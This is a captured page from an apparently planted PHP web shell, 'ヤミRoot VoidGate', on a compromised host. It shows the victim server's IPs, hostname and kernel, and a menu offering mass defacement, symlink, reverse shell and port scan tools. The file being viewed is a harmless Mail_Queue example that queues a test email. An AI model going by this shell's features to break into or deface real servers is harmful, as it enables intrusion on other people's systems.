ヤミRoot VoidGate
User / IP
:
216.73.216.110
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
php
/
docs
/
Mail_Queue
/
docs
/
Viewing: add_example.php
<?php require_once 'base.php'; $mail_queue =& new Mail_Queue($db_options, $mail_options); $from = 'user@server.com'; $from_name = 'Chief'; $recipient = 'user2@server.com'; $recipient_name = 'admin'; $message = 'Hi! This is test message!! :)'; $from_params = !empty($from_name) ? '"'.$from_name.'" <'.$from.'>' : '<'.$from.'>'; $recipient_params = !empty($recipient_name) ? '"'.$recipient_name.'" <'.$recipient.'>' : '<'.$recipient.'>'; $hdrs = array( 'From' => $from_params, 'To' => $recipient_params, 'Subject' => 'test message body', ); $mime =& new Mail_mime; $mime->setTXTBody($message); $body = $mime->get(); $hdrs = $mime->headers($hdrs); /* Put message to queue */ $mail_queue->put($from, $recipient, $hdrs, $body); /* Also you could put this msg in more advanced mode */ // how many seconds wait to send mail $seconds_to_send = 3600; // delete mail from db after send? $delete_after_send = false; // if you backup some mails in db you could group them later by the user identifier, for example $id_user = 7; $mail_queue->put($from, $recipient, $hdrs, $body, $seconds_to_send, $delete_after_send, $id_user); ?>
Coded With 💗 by
0x6ick